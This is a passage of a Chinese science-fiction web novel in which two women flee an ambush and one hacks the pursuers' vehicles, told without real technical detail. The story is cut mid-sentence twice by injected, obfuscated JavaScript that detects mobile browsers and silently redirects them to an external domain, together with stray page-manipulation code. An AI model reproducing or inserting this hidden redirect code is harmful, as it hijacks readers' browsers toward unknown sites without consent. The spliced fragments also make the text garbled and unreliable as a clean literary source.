但路问夏知道，也许危机就隐藏在那些平静的水面下。她对于猎鹰对于自己的追杀还有太多未知的地方。 她这个人死过一次，所以更惜命。 路问夏思忖片刻，摇头打算拒绝维拉的提议。 “还是趁着没人发现快些回去吧，我还被追杀着。更何况，对方的情况我没完全搞清楚，感觉风险有点大。” “有我在呢，而且新多亚港毕竟是大型交通枢纽，摄像头基本没有死角，也很少有人敢在这儿动手的。” 维拉解释完，还是决定尽可能减少风险。“这样，我们可以开车去快餐店打包点儿回去。” 快餐店？！ 路问夏眼睛一亮。 “你应该很久都没吃过这些高热量的食品了吧？” 路问夏在夏侯雪家的这两天每顿都吃得十分健康，但维拉偶尔能注意到路问夏进食时纠结的小表情。 “嗯，也不是不行。” 路问夏思想斗争了不过三秒钟，就败给了“垃圾食品”的诱惑。 维拉油门一踩，拐到了另一条街道的一家连锁快餐店的车辆通道里。 空气中隐隐飘来的汉堡和炸薯条的香气，让路问夏的眼睛不自觉放光。 维拉朝着无人窗口的摄像头和麦克风说道：“两份双层牛肉汉堡套餐，谢谢。” “120星币，请支付。”服务员的人声通过喇叭传来。 维拉干脆利落地付款，拿上小票，将皮卡开往取餐区的方向。 这里的物价似乎比滨河区贵一些。 路问夏在车里观察了一下路上人们的打扮装束，确实比滨河区的精致商务了一些。 远处，夕阳余晖的日落时刻，钢筋代替大海泛着金色的光芒，飞船代替海鸥点缀在白云之上。 路问夏也是在此刻才发现，新多亚港虽然叫港口，但并没有临近大海。 抬头间，刚刚起飞的飞船在空中划出的白色尾烟。 车子一辆一辆往前挪动，不过五分钟，维拉就取到了她们的餐。 她把车子开到了一片露天停车场。在这儿停着的车很多，维拉绕了两圈，才在一根装着摄像头的柱子下找到了车位。 摄像头下应该挺安全的，路问夏心想。 两人于是就这么在车里边吃边聊起来。 “星际船票价格很贵吗？”路问夏问道。 维拉现在对严重失忆的路问夏的任何问题都见怪不怪，有问必答。 “嗯，我们这儿去桑特星一张票得卖1000星币。” 路问夏咋舌。“1000星币一张票，岂不是穷人一辈子都只能待在原本的星球？” 维拉微微叹气。“客用飞船是由星门集团研发和控制的，据他们说，成本非常高，所以票价定得也不便宜。” “听上去像是资本家骗钱的说辞。”路问夏不爽。 “是啊，但他们反正只在乎钱，穷人的想法不在考虑的范围之内。”维拉不屑地勾起嘴角。 “哼，也是。” 18. 埋伏 狼吞虎咽完一整份汉堡套餐，路问夏追问：“这港口和所有航道也被星门集团都控制了吗？” “不，归伍德星政府所有。至于航道，正经渠道来说只要你能搞到飞船，再和港口的管制申请许可证，就能飞行了。” 维拉吃得比路问夏慢，停顿了一下把剩下的汉堡消灭。 “不过，目前市面上的飞船百分之九十都来自星门，它们的产量很有限。” “第一是私人飞船本身价格昂贵，第二是它每天的维护保养费用，包括聘请飞行员维修员的费用，都是一笔庞大的持续的支出。” 路问夏听完，好像有点懂了，这个私人飞船和她之前世界的私人飞机是相似的道理。 “也就是说正经途径，资本家才养得起私人飞船。” “没错。”维拉点头。 路问夏眨眨眼睛：“你刚说正经渠道，也就是说有其他办法咯？” “私人改装那些报废的飞船，趁着深更半夜的时候从私人跃迁点上航道。”维拉对这些很了解。 “缺点就是不稳定，飞着飞着炸成烟花的，私人跃迁点把人带到无人星球的，意外事件概不负责。” 很好，黑产自有黑产的做派。 吃饱喝足的路问夏靠在皮卡大敞的窗口，舒服得打了个哈欠。 温柔的微风拂过她的脸颊，丝毫没吹散她的睡意。 她微眯起眼睛看风景。 新多亚港虽然并不临海，但是作为交通枢纽，周边的商业和人文建设齐全。 比如，抬头能看到一栋五层高的商场大楼，而停车场西边不远处则是一大片风景宜人绿树成荫的小公园。 能在伍德星一次性看到这么多品种树，除了在北高地的别墅区，就只能在新多亚港了。 但和北高地富人区的公园相比，新多亚港的小公园里的人就杂了很多，也更富有艺术气息。 有支着画板在那里写生的，也有拿着喷漆在旁边墙上涂鸦创作的，还有三五成群围吞云吐雾的。 还好，大家大多沉浸在自己的世界里，至少看起来不会随意攻击他人。 “很自由奔放的氛围啊。”路问夏靠在椅背上，对维拉吐槽。 维拉点点头，当起了路问夏的小导游，讲很美好的闪着光的未来。 “新多亚港毕竟是和其他星球连接的枢纽，这里的艺术人文交流确实比其他地区更多一些。如果你之后有空的话，再往东走一公里左右，还有两个伍德星的公立博物馆可以参观。” 路问夏看着那绿油油的生命力旺盛的榆树，和花圃里叫不上名的努力盛开的白色黄色的花朵，感受着内心的充盈。 如果日子能一直这样幸福下去就好了。 太阳很快落到了地平线以下，蓝色笼罩着天空，从带着红调的浅蓝慢慢染成了忧郁的深蓝色。 夜幕降临后的新多亚港看起来多了一份神秘感。 “你得起来锻炼一下身体了。” 维拉的一句话却成功把路问夏唤醒了。 “啊？”路问夏脸皱巴巴地叹气。 “你难道想每次都去把掉在地上的纳米线捡起来么？”维拉发出灵魂质问。 路问夏摇头，用极低的声音说道：“不想。” “那回去了健身房见，说好了，不许直接睡觉。”维拉现在算是了解到路问夏对睡觉的热情。 感觉自己被看穿的路问夏只能继续点头。 维拉驾驶着皮卡从新多亚港出发向北往回开。 港口附近的道路还算新，但开出去三公里就颠簸了许多，轮胎卷得尘土飞扬。 皮卡一路迎着风疾驰，开到了人烟稀少的路段。 维拉将车内正在播放摇滚乐的音响调高了几分。随即，她踩下油门，任由引擎声和音乐交汇在一起。 眨眼间，车速又快了十码。 一切都肆意又放松。 如果，后视镜里没有莫名出现一辆陌生的汽车的话。 维拉看了一眼后视镜，右手熟练地换挡，放在油门上的脚 “想体验一下过山车嘛？”维拉的声音沉稳中带着一丝隐约的兴奋，勾起嘴角道，“坐稳了。” 路问夏还没完全反应过来，皮卡已经唰的一下打了转向，上了右边的一条窄路。 后面紧跟的那辆车一时没反应过来，直接冲过头。 但对方不止派出了一辆车，这一试探，后面另外三辆车就藏都不藏全出来了。 紧追不舍，穷凶极恶。 路问夏明白了，这些人是朝她来的！ “抱歉，好像还是追杀我的。” 面对对方锲而不舍的追杀，路问夏从一开始的惊慌失措，到现在探究中带着一分无奈，顺利完成了心态上的蜕变。 “先看看这批人车技怎么样。”维拉轻松说道。 维拉开上的是一条角度近乎40度的上坡路，皮卡硬开出一种窜进云里的即视感。 以至于到达顶点后，皮卡更是直接飞了起来。 四轮离地。 紧接着是失重感向路问夏涌来，让她的心在物理意义上提到了嗓子眼。 但想象中的沉重的落地并没有出现。 只见维拉在车内不慌不忙地按下一个按钮，皮卡尾部排气管喷出了一阵带着些微火花的白烟。 再一秒，皮卡就极其丝滑顺畅地稳稳接地。 不等路问夏发出感慨，维拉丝毫没有犹豫地拉上手刹，一把方向盘将车子甩尾进了另一条小巷。 路问夏的小身板啪的一下被甩到了车窗上，骨头磕在玻璃上，生疼。 路问夏不由得闷哼一声。 “我就说你得加强锻炼。” 维拉不仅身体保持稳定，连开口调侃路问夏的声音都不带颤抖的。 “好——”路问夏还没说完，声音就飘散在了空中，人则是一头栽在了维拉控制着方向盘的胳膊上。 维拉默默撑住了路问夏的身体。 通过维拉对伍德星四通八达道路的熟悉程度，跟屁虫们渐渐被甩在了后面。 又是一阵漂移过弯后，后视镜里彻底干净了。 路问夏松了一口气。“这车子比我想象中厉害很多。” 维拉笑道：“时蓝改的。” “她经营的不是洗车行么......”路问夏好像突然反应过来什么，恍然大悟，“哦！这是她的另一个副业！” “没错。” 没了追杀的人，皮卡的速度渐渐慢了下来，重新回到了开往北高地别墅区的正轨。 皮卡在经过滨河区的夜市附近的时候，还遭遇了一会儿堵车。 “今天是什么日子吗？”路问夏在车里不禁发出疑问。 维拉也挺不解，开窗探出身子看了一眼前面的队伍。 “好像是出事故了。” 于是，一个普通的路口，两人硬是等了三个红绿灯才过去。 皮卡从滨河区再往北开，路上人烟便越来越少。 宽敞笔直的路上偶尔飞驰过几辆限量版的豪车，亦或是两三台飙车的摩托。 突然，一阵不同寻常的引擎声钻进耳朵。 “该死的！”维拉低咒一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444917|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她反应迅速，立刻将皮卡的窗户关上，升起皮卡的防护罩，同时猛地踩下油门，往前冲着。 这次的敌人，显然比刚才多了三四倍，而且从各个方向朝她们所在的皮卡包围过来。 不仅仅是前面和后面，甚至，天上还有两辆飞车和一架直升机朝她们靠近。 这阵仗大得吓人！ 追杀的队伍成倍增加不说，这里的地形也非常糟糕。 开往北高地的路太空旷了，除了一条宽敞的四车道，根本没有别的小路可以甩开这些人。 “做好战斗准备。” 维拉的话印证了路问夏的想法，一场恶斗在所难免。 “上次的电磁枪还在吗？” “在。”路问夏深呼吸，克制住内心本能的紧张，将一直揣在怀里的电磁枪掏了出来。 呲啦—— 轮胎和地面剧烈摩擦，维拉将皮卡一百八十度大掉头。 朝北高地开根本就是羊入虎口，现在维拉想赌一把，赌车子能开回到市里，在掩体间寻找生的可能性。 一回生二回熟。 被追杀得多了，路问夏不仅更淡定了，手臂更是稳稳拉住车顶的扶手，以防被甩出去。 她从窗口和后视镜里观察着追杀的车子。 地面上是显然价值不菲的外壳强硬的装甲车。天上的直升机垂下一条长长软梯，两名全副武装的队员一边以危险的姿势挂在梯子上，一边端着狙击枪瞄准着她们。 维拉稳定着方向盘，趁着对方没立刻反应过来，从两辆车之间挤了过去。 金属摩擦的声音刺耳。 哪怕有另一层护甲的保护，但对方车子硬度更高，将皮卡直接划出两道深深的凹痕。 这一回追杀的人比之前任何一次都要无情。 十几个人从车窗里探出身来，手上端着各式枪支。 在城里还有所忌惮，到了郊区，他们直接就朝着两人所在的皮卡火力全开了。 砰砰砰的声音不绝于耳，后视镜里是可怖的冒着烟的枪管口。 如果不是维拉车技过硬，以完全难以预判的路线左右漂移，躲过大部分子弹，这皮卡早就濒临报废了。 “你这追兵有点儿能耐啊！”就在这生死存亡的时刻，维拉还不忘开个玩笑，“给夏侯雪发消息。” “是啊。”路问夏苦笑，SOS求救消息和定位共享立刻发给了夏侯雪。 可远水救不了近火，夏侯雪不可能闪现，而路问夏还不想死。 冷静。 现在必须冷静。 路问夏脑袋疯狂计算着。她清楚知道，手里的这把电磁枪根本敌不过眼前全副武装的追兵。 而战斗力很强的维拉必须要专注在开车这件事上，否则下一秒车子就要被打停，仍然死路一条。 维拉撇了一眼窗外，和路问夏商量道：“在援兵来之前，我们怎么办？” 要是换成自己一个人出任务，维拉估计会选择硬拼。 但现在她的身体还没完全恢复，而身边的路问夏也需要自己的保护。 路问夏判断着此刻面临的情况，手悄然搭在了刚刚装载的纳米线上。 她记得时蓝说过，可以给纳米线加上一点儿黑客的小手段。 如果，她能黑入追兵的载具呢？是不是她们的生存的几率就高一些？ 这是目前情况下她能想到的最优解。 “维拉。”路问夏深呼吸，“拜托，能拖多久拖多久。” 维拉听完珍重点头，嘴角勾起自信的笑容。 “收到。” 19. 飙车 面对天上地面的双重围猎，维拉将大个头的皮卡硬生生开成了摩托车，灵活地穿梭在围追堵截之间。 宽阔地带也有宽阔的好处，比如说，车子会有足够的空间东冲西突。 几个甩尾下来，路问夏感觉胃部一酸，差点吐在车里。 可现在没时间给路问夏缓冲，她必须要在有限的时间里，头脑清醒地完成一个从来没做过的武器升级工作。 路问夏打开终端，拉出数据线连接在义肢手腕纳米线装置上。 终端上立刻显示出了纳米线的各项数据。路问夏匆匆扫了一眼前台，然后干脆利落地调出了后台代码界面。 有上次给维拉修头盔的经验，路问夏脑袋里至少有一条清晰的路径图。 路问夏首先要做的，是给纳米线加上能够远程黑入的功能。 这看起来难度并不是很高。 她在终端里没有停顿地写下第一段落的代码。 这是在给更多更复杂的功能打地基。 就当她敲下回车的时候，车子突然开上一片石子路，颠簸陡然加剧，让路问夏从座椅上弹了起来。 如果不是她系着安全带，说不定脑袋要和车顶来个亲密接触。 砰的一下，路问夏砸回了座位，骨头磕得生疼。 可连呲牙咧嘴的时间都没有给她，维拉就驾驶着车子来了一个帅气的甩尾。 又是砰的一声，她被甩到了车门上。 因为紧张而紧绷的肌肉，让这些撞击没那么惨烈。 路问夏觉得自己仿佛是小时候玩过的三维弹球游戏里的一颗小小弹珠，在名为皮卡的地图里乱撞。 回去后，估计自己没有义体的部位都得撞得青一块紫一块的。 路问夏坚信，自己和维拉能活着回去。 身体的动作被打断，但路问夏的思路并没有。 她的精神仍然保持着高度集中，代码的输入和思考在脑袋中进行着，现在她需要在终端上实践和运行。 可路问夏连控制住身体都难，完全没办法腾出手来。 追兵的火力越发猛烈，飞车上的子弹如暴雨般倾注而下，维拉不得不驾驶着飞车蛇形躲避。 哪怕在维拉尽力的前提下，皮卡这么大个的目标还是被不断击中。 警报声在车里此起彼伏地响起。 维拉的脸色越发凝重。她能感觉到皮卡的动能正在下降，方向盘变得越来越沉重。 趁着车子稍微稳定一些，路问夏在终端上继续敲打代码。 一行接着一行，思路清晰。 黑入的功能终于在混乱中争分夺秒地被完成了！ 路问夏表情如常地打开纳米线装置，长按手腕连接处的某个按钮，纳米线的尖端快速地闪烁了一下。 想来，这就是时蓝说的微型探针了，它正在接收附近装备的无线信号，以完成远程连接。 通过生物信号连接着身体的纳米线，将探寻到的敌人载具的位置反应到了终端的地图上。 “搜到对方的车了。”路问夏挑眉。 “干得漂亮！”维拉一掌拍在了路问夏单薄的肩膀上。 路问夏呲牙：“让我看看怎么给它找点儿麻烦。” 从地图上的信号反馈来看，现在追击她们最紧迫的那辆车，成为了路问夏首先破解的目标。 路问夏操作着终端，在绕开对方的防御系统后，神不知鬼不觉地完成了第一步——连接。 但想要控制对方的车辆，需要再突破至少两道防线。 路问夏在终端上操作着，眉头渐渐皱了起来。 她不想引起对方的反侦查，让她们两人的反击计划被识破，因此每个步骤都做得胆大心细。 从路问夏在虫巢接单的经历来看，她能判断出来追兵所配备的系统防护等级很高，特别像是大公司的手笔。 砰！ 一声巨响，维拉那侧的高强度防弹玻璃射击中彻底碎裂。 “shit！”维拉低咒一声，打着方向盘躲闪炮火，“时蓝不是说打不穿的吗？！” 远在新多亚港洗车行里干活的时蓝没来由地打了个喷嚏。 “别管我，你继续！”维拉还不忘安慰路问夏，不希望影响她。 路问夏心里一紧。 维拉这真的是在用生命保护自己，无论如何，她们两个都不能死在这儿。 各种压力交织在一起，路问夏再次加快了在终端上破解的速度。 砰的一声，路问夏那一侧的玻璃也炸了。 紧接着又是一声巨响，前挡风玻璃也没能幸免于难。 而在炮火的冲击中，维拉整整齐齐摆在挡风玻璃处的三个拳头大的公仔东倒西歪。 “啧。”维拉烦躁地打着方向盘躲闪，“路，你可能得加快速度，这车子撑不了多久了。” 当然，路问夏是能听到皮卡发出的嘎吱响声的。 那是即将散架的预兆。 快点！ 再快点！！ 路问夏在心中催促着自己。 她从来没有如此渴求对自己技术的精进。也许她该少睡点儿觉，多接点儿单的。 终端上，控制对方车辆的进度条在不断推进。 98%...... 99%...... 而皮卡的速度却越来越慢，车尾的追兵在无限逼近，天上飞车的弹雨没有停歇。 终于，100%！ 成了！ 现在，路问夏可以远程操控对方的车辆了。 无论是想让车辆掉个头回家，还是让它自杀式袭击，都只需要动动手指。 “轮到我们了。” 路问夏深呼吸，冷静地按下按钮，远程操纵起了追兵的车子。 她首先选择的是空中的两辆飞车，它们的火力比地上的车子强很多。 而且如果她的运气够好，还能带走地上的某一辆。 砰—— 空中突然炸出了一道火花。 原本正在追击的飞车突然朝左侧拐弯，全速撞在了另一辆飞车的侧面。 由于都是高强度外壳的配置和全速前进的状态，两车碰撞很是惨烈。 它们直接在空中失去动能，冒着烟直直往下掉。 只见飞车里的人直接从座位弹射而出，在空中打开了降落伞，晃晃悠悠飘落。 至于飞车的残骸，确实如路问夏所计算的那样，在重力的指引下，砸在了距离她们皮卡最近的车子上。 尽管只是几块大型碎片，但也算个麻烦了。 地上的车辆外壳凹陷，变形严重，速度严重下降，还冒着白烟。 “漂亮！”维拉稍微松了口气。 现在追兵只剩下地上的两辆装甲车和天上的一架直升机了。 “炸烟花表演。”路问夏坏笑：“对方现在正内讧呢。” “你在这么短时间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449729|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还接入了对方的通讯频道？” “等进度条的时候顺手黑入的。”路问夏轻描淡写地说道。 维拉大力夸赞：“路，你的抗压能力很强啊。” 路问夏眼神飘向窗外一秒钟,想起了之前每天雷打不动的睡觉模式。 于是，回答的声音越来越轻：“我只能在压力下工作......” 追兵的通讯频道里，两辆车的对峙还在继续。 “你到底发什么病突然撞我，如果不是我们即使跳伞，全都得折在这里！” “不是我撞的！那车子方向突然失控了啊！鬼知道是不是什么机械故障！” “你放屁！” 倒是遭受无妄之灾的装甲车人员，连话都插不进去。 对方看来并没有察觉到刚才的撞车事故是自己的小动作。 路问夏没再继续动手，她需要寻找最佳的反击机会。 突然，一道冷冷的女声打断了频道里的对话。 “要吵自己单开一个频道吵去。” 频道里瞬间恢复了安静。 “我已经和总部呼叫了援兵，但过来需要半小时。” 那人讲话的背景音里有明显的直升机的轰鸣声。 “但如果你们要等到援助来才能拿下，回去之后直接去实验室接收改造吧！” 实验室改造？ 果然和之前遇到的那批改造人是同一伙的！ 但是，仅提供安保和杀人灭口买卖的猎鹰集团，会有自己的实验室吗？如果不是猎鹰，那这些人究竟是来自哪里？ 路问夏脑袋里的疑惑像泡泡一样冒出来，整个追杀事件谜团重重。 “能把直升机搞定吗？” 维拉的皮卡尽量在往市里的方向开，但天上直升机才是最烦人的。 它飞得很高，视野清晰，将地上维拉驾驶的皮卡监控得一清二楚。 刚才出来主持秩序的就是直升机里坐镇的行动指挥，这是需要解决的重要目标。 毕竟没了大脑，其他散兵就好对付多了。 路问夏在终端上操作着，刚舒展没多久的眉头又蹙了起来。 “有点棘手。” 主要是天上的直升机距离两人较远，路问夏纳米线接收到的信号断断续续的，根本不支持让她顺畅完成整个黑入的过程。 “没事，我能再撑一会儿。”维拉让路问夏反喜。 而且，不知道是不是路问夏多虑了。 对方在飞车相撞事件后，似乎悄然又提升了一些高度。之前吊着的狙击手也回到了直升机内。 就像是...... 察觉到了一些什么似的？ 路问夏深呼吸，将这些猜测都赶出脑袋。 无论对方是否察觉到了什么，这都没有第二次机会。 目前的问题应该是纳米线自带的微型探针的覆盖范围太小。 但这是硬件问题，她没法立刻变戏法冒出来一个高级货。 只能智取。 “他们的援兵需要三十分钟，我们有办法在这段时间甩掉直升机，或者逼迫它下降高度吗？”路问夏转头问维拉。 维拉脑袋里有完整的伍德星地图，她立刻提议道：“现在距离工业区还有三公里，那里有成片的厂房，有遮挡，地下车库也基本是连在一起的。” “那我们往工业区开，我路上给他们制造一点儿麻烦。” “没问题。”